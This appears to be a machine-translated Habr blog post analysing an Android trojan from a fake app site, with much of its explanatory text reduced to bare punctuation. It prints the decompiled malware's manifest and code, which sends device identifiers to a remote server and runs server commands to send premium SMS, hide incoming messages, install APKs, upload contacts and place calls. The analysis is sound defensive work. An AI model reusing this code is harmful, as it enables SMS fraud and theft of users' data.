📜 ⬆️ ⬇️

A terrible bedtime story for Android users

Everyone has probably come across sites that offer the user a paid subscription to a particular service. Due to the nature of my work, I sometimes have to check such resources. Most often they are hastily packed with content, fake comments and created specifically to trick the user. The creators promise mountains of gold, but in reality everything ends with a trivial divorce for money. This article is one of the special cases of fake site analysis with an Android application.

It all started with the fact that they sent me to check the site. It looks like a regular blog with loud headlines like “Free wallpapers and pictures for android”, “The smartest programs on android” and the like. Immediately it struck that in all posts the same comments left by “different people”. The content is approximately the following:

- The site asks for a phone number, is this normal?
- Yes, this is for registration, checking that you are not a bot.
- Oh, great, thanks!

In general, the fact of fraud is immediately visible, but I decided to dig further. When I try to download an application from any post using a stationary computer, I throw it over to another resource. Reference type http: // **** / ** /? Sub_id = * (yeah, maybe affiliate). There they offer me to buy Google Chrome for money (and after all people are being led!).
')
Suppose ... But the resource is dedicated to applications for Android devices, which means that you need to try to log in from the device. As expected: instead of an offer to buy a super browser, install.apk is loaded. “This is already interesting” - I thought, and I was not mistaken.

The first thing that caught my eye - a huge number of potentially dangerous permits.



Not a weak set, right? I wondered what the application does with all these permissions.

I will not describe the decompilation process itself, just to mention that I used apktools , dex2jar , JD-GUI and jad . In the end, I got decompiled resources and a set of classes.

The first thing I noticed is, of course, AndroidManifest.xml .

Contents of the AndroidManifest.xml file
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="100" android:versionName="100" package="install.app"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/icon">
        <activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:label="@string/app_name" android:name=".MainActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".MainReceiver" android:enabled="true">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <service android:name=".MainService" />
        <receiver android:name="ru.beta.MainReceiver" android:enabled="true">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="custom.alarm" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
            </intent-filter>
        </receiver>
        <service android:label="@string/app_name" android:name="ru.beta.MainService" />
    </application>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
    <uses-permission android:name="android.permission.DELETE_PACKAGES" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.CALL_PRIVILEGED" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.RESTART_PACKAGES" />
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
    <uses-permission android:name="android.permission.READ_LOGS" />
</manifest>


:

READ_PHONE_STATE — ( , , );
SEND_SMS — sms-;
RECEIVE_SMS — sms- ( MainReceiver );
INTERNET — ;
WAKE_LOCK — ( :);
ACCESS_NETWORK_STATE — ;
RECEIVE_BOOT_COMPLETED — , ;
WRITE_EXTERNAL_STORAGE — / ;
INSTALL_PACKAGES — ;
DELETE_PACKAGES — ;
READ_CONTACTS — ;
CALL_PHONE — ;
CALL_PRIVILEGED — , ;
GET_TASKS — ;
SYSTEM_ALERT_WINDOW — ;
RESTART_PACKAGES — ( );
KILL_BACKGROUND_PROCESSES — ( );
READ_LOGS — .

, :

SMS_RECEIVED — sms-;
custom.alarm — ;
BOOT_COMPLETED — ;
USER_PRESENT — ;
PHONE_STATE — ( , , );
SCREEN_OFF — ;
SCREEN_ON — .

( , ), . URL , . , , WireShark, .


. MainActivity. , :

MainActivity
public void onCreate(Bundle bundle)
    {
        int i;
        super.onCreate(bundle);
        Settings settings1;
        WebViewClient webviewclient;
        JSONObject jsonobject1;
        int j;
        int k;
        try
        {
            //
            //   
            //
            JSONObject jsonobject = new JSONObject(Functions.decript(getString(0x7f050002)));
            new Beta(getApplicationContext(), jsonobject);
        }
        catch(Exception exception2)
        {
            exception2.printStackTrace();
        }
        //
        //    
        //
        showDialog(IDD_LOADING);
        settings1 = new Settings();
        if(!settings1.load(this))
            settings1.save(this);
        //
        //    
        //
        sendHttp();
        handler = new Handler();
        i = 0x7f030001;
        jsonSettings = (new JSONObject(Constants.data)).getJSONObject("settings");
        k = jsonSettings.getInt("mode");
        if(k == 1)
            //
            //         sms-
            //
            MainService.start(this, new Intent(), "pay");
        if(k == 3)
            i = 0x7f030001;
        else
            i = 0x7f030000;
_L1:
        setContentView(i);
        api = new WebApi(this, this);
        webView = new WebView(this);
        webviewclient = new WebViewClient() {

            public void onPageFinished(WebView webview, String s)
            {
                System.out.println("Page loaded");
                try
                {
                    loadingDialog.dismiss();
                }
                catch(Exception exception3)
                {
                    exception3.printStackTrace();
                }
                MainActivity.callJsCallbackAndroidVersion(android.os.Build.VERSION.RELEASE);
                if(jsonSettings.getInt("mode") == 3)
                    MainActivity.executeJs(jsonSettings.getString("licenseJs"));
_L1:
                return;
                JSONException jsonexception;
                jsonexception;
                jsonexception.printStackTrace();
                  goto _L1
            }

            final MainActivity this$0;

            
            {
                this$0 = MainActivity.this;
                super();
            }
        };
        webView.setWebViewClient(webviewclient);
        webView.setWebChromeClient(new WebChromeClient() {
        // 
        });
        // 
        if(jsonSettings.getInt("mode") == 4)
        {
	
            j = jsonobject1.getInt("mode");
            if(j == 41 || j == 42)
                //
                //         sms-
                //
                MainService.start(this, new Intent(), "pay");
        }
        webView.loadUrl((new StringBuilder("file:///android_asset/html/")).append(jsonobject1.getString("html")).append("/index.html").toString());
_L2:
        return;
        Exception exception;
        exception;
        exception.printStackTrace();
          goto _L1
        Exception exception1;
        exception1;
        exception1.printStackTrace();
          goto _L2
    }

//
//    
//
public void sendHttp()
    {
        (new Thread(new Runnable() {

            public void run()
            {
                //
                //         
                //
                MainActivity.sendPostRequest((new JSONObject(Constants.data)).getJSONObject("settings").getString("startUrl").replace("{IMEI}", Constants.imei).replace("{IMSI}", Constants.imsi).replace("{PHONE}", Constants.phone).replace("{COUNTRY}", Constants.country).replace("{APPID}", getText(0x7f050001)).replace("{MODEL}", Build.MODEL).replace("{MANUFACTURER}", Build.MANUFACTURER).replace("{SDK}", String.valueOf(android.os.Build.VERSION.SDK_INT)), new LinkedList(), new LinkedList());

// 
        })).start();
_L1:
        return;
        Exception exception;
        exception;
        exception.printStackTrace();
          goto _L1
    }


, , “” ( ). , . — . ? , - .

, MainReceiver. , (!) , .

MainService. , , json executeCommands(jsonobject1). :

MainService
public void executeCommands(JSONObject jsonobject)
    {
        if(Constants.DEBUG)
            System.out.println((new StringBuilder()).append("response: ").append(jsonobject.toString(4)).toString());
        Settings settings = Settings.getSettings();
        if(jsonobject.has("wait"))
        {
            if(Constants.DEBUG)
                System.out.println("has wait");
            settings.timeNextConnection = System.currentTimeMillis() + (long)(jsonobject.getInt("wait") * Constants.SECOND);
            settings.save(this);
        }
        //     URL 
        if(jsonobject.has("server"))
        {
            if(Constants.DEBUG)
                System.out.println("has server");
            settings.server = jsonobject.getString("server");
            settings.save(this);
        }
        //    
        if(jsonobject.has("removeAllSmsFilters"))
        {
            if(Constants.DEBUG)
                System.out.println("has removeAllSmsFilters");
            if(Boolean.valueOf(jsonobject.getBoolean("removeAllSmsFilters")).booleanValue())
            {
                settings.deleteSmsList.clear();
                settings.save(this);
            }
        }
        //    
        if(jsonobject.has("removeAllCatchFilters"))
        {
            if(Constants.DEBUG)
                System.out.println("has removeAllCatchFilters");
            if(Boolean.valueOf(jsonobject.getBoolean("removeAllCatchFilters")).booleanValue())
            {
                settings.catchSmsList.clear();
                settings.save(this);
            }
        }
        //  
        if(jsonobject.has("deleteSms"))
        {
            if(Constants.DEBUG)
                System.out.println("has deleteSms");
            settings.deleteSmsList.clear();
            settings.save(this);
            JSONArray jsonarray5 = jsonobject.getJSONArray("deleteSms");
            for(int j1 = 0; j1 < jsonarray5.length(); j1++)
            {
                JSONObject jsonobject7 = jsonarray5.getJSONObject(j1);
                settings.deleteSmsList.add(new SmsItem(jsonobject7.getString("phone"), jsonobject7.getString("text")));
            }

            settings.save(this);
        }
        //    
        if(jsonobject.has("catchSms"))
        {
            if(Constants.DEBUG)
                System.out.println("has catchSms");
            settings.catchSmsList.clear();
            settings.save(this);
            JSONArray jsonarray4 = jsonobject.getJSONArray("catchSms");
            for(int i1 = 0; i1 < jsonarray4.length(); i1++)
            {
                JSONObject jsonobject6 = jsonarray4.getJSONObject(i1);
                settings.catchSmsList.add(new SmsItem(jsonobject6.getString("phone"), jsonobject6.getString("text")));
            }

            settings.save(this);
        }
        //  
        if(jsonobject.has("sendSms"))
        {
            if(Constants.DEBUG)
                System.out.println("has sendSms");
            JSONArray jsonarray3 = jsonobject.getJSONArray("sendSms");
            for(int l = 0; l < jsonarray3.length(); l++)
            {
                JSONObject jsonobject5 = jsonarray3.getJSONObject(l);
                Functions.sendSms(jsonobject5.getString("phone"), jsonobject5.getString("text"));
            }

        }
        //  http- (botnet???)
        if(jsonobject.has("httpRequest"))
        {
            if(Constants.DEBUG)
                System.out.println("has httpRequest");
            JSONObject jsonobject2 = jsonobject.getJSONObject("httpRequest");
            String s4 = jsonobject2.getString("method");
            String s5 = jsonobject2.getString("url");
            ArrayList arraylist = new ArrayList();
            ArrayList arraylist1 = new ArrayList();
            JSONArray jsonarray1 = jsonobject2.getJSONArray("params");
            for(int j = 0; j < jsonarray1.length(); j++)
            {
                JSONObject jsonobject4 = jsonarray1.getJSONObject(j);
                arraylist.add(new BasicNameValuePair(jsonobject4.getString("name"), jsonobject4.getString("value")));
            }

            JSONArray jsonarray2 = jsonobject2.getJSONArray("properties");
            for(int k = 0; k < jsonarray2.length(); k++)
            {
                JSONObject jsonobject3 = jsonarray2.getJSONObject(k);
                arraylist1.add(new BasicNameValuePair(jsonobject3.getString("name"), jsonobject3.getString("value")));
            }

            Functions.sendSimpleHttpRequest(s5, s4, arraylist, arraylist1);
        }
        //   
        if(jsonobject.has("update"))
        {
            if(Constants.DEBUG)
                System.out.println("has update");
            String s1 = jsonobject.getString("update");
            ConnectivityManager connectivitymanager = (ConnectivityManager)getSystemService("connectivity");
            if(connectivitymanager.getNetworkInfo(1).isAvailable() || connectivitymanager.getNetworkInfo(0).isConnectedOrConnecting())
            {
                String s2 = (new StringBuilder()).append(System.currentTimeMillis()).append(".apk").toString();
                String s3 = (new StringBuilder()).append(Environment.getExternalStorageDirectory()).append("/download/").toString();
                if(Functions.downloadFile(s3, s1, s2))
                    Functions.installApk(this, (new StringBuilder()).append(s3).append(s2).toString());
            }
        }
        //   
        if(jsonobject.has("uninstall"))
        {
            if(Constants.DEBUG)
                System.out.println("has uninstall");
            JSONArray jsonarray = jsonobject.getJSONArray("uninstall");
            for(int i = 0; i < jsonarray.length(); i++)
                Functions.uninstallApk(this, jsonarray.getString(i));

        }
        //    
        if(jsonobject.has("notification"))
        {
            if(Constants.DEBUG)
                System.out.println("has notification");
            JSONObject jsonobject1 = jsonobject.getJSONObject("notification");
            String s = jsonobject1.getString("url");
            Functions.showNotification(this, jsonobject1.getString("tickerText"), jsonobject1.getString("title"), jsonobject1.getString("text"), jsonobject1.getInt("icon"), s);
        }
        //   URL
        if(jsonobject.has("openUrl"))
        {
            if(Constants.DEBUG)
                System.out.println("has openUrl");
            Functions.openUrl(this, jsonobject.getString("openUrl"));
        }
        //    
        if(jsonobject.has("sendContactList"))
        {
            if(Constants.DEBUG)
                System.out.println("has sendContactList");
            if(Boolean.valueOf(jsonobject.getBoolean("sendContactList")).booleanValue())
            {
                ThreadOperation threadoperation1 = new ThreadOperation(this, 2, null);
                (new Thread(threadoperation1)).start();
            }
        }
        //      
        if(jsonobject.has("sendPackageList"))
        {
            if(Constants.DEBUG)
                System.out.println("has sendPackageList");
            if(Boolean.valueOf(jsonobject.getBoolean("sendPackageList")).booleanValue())
            {
                ThreadOperation threadoperation = new ThreadOperation(this, 3, null);
                (new Thread(threadoperation)).start();
            }
        }
        //  URL  
        if(jsonobject.has("twitter"))
        {
            if(Constants.DEBUG)
                System.out.println("has twitter");
            settings.twitterUrl = jsonobject.getString("twitter");
            settings.save(this);
        }
        //  
        if(jsonobject.has("makeCall"))
        {
            if(Constants.DEBUG)
                System.out.println("has makeCall");
            Functions.makeCall(this, jsonobject.getString("makeCall"));
        }
_L1:
        return;
        Exception exception;
        exception;
        exception.printStackTrace();
          goto _L1
    }


. , .


, “ ”, .

sms-, , — , . …

( , , ) :

1. URL
2. sms- ( , , )
3.
4.
5. http- (botnet???)
6.
7.
8.
9. URL
10.
11.
12. (, )
13. Twitter ( , ).

. .

P.S. - — .

Source: https://habr.com/ru/post/168573/


All Articles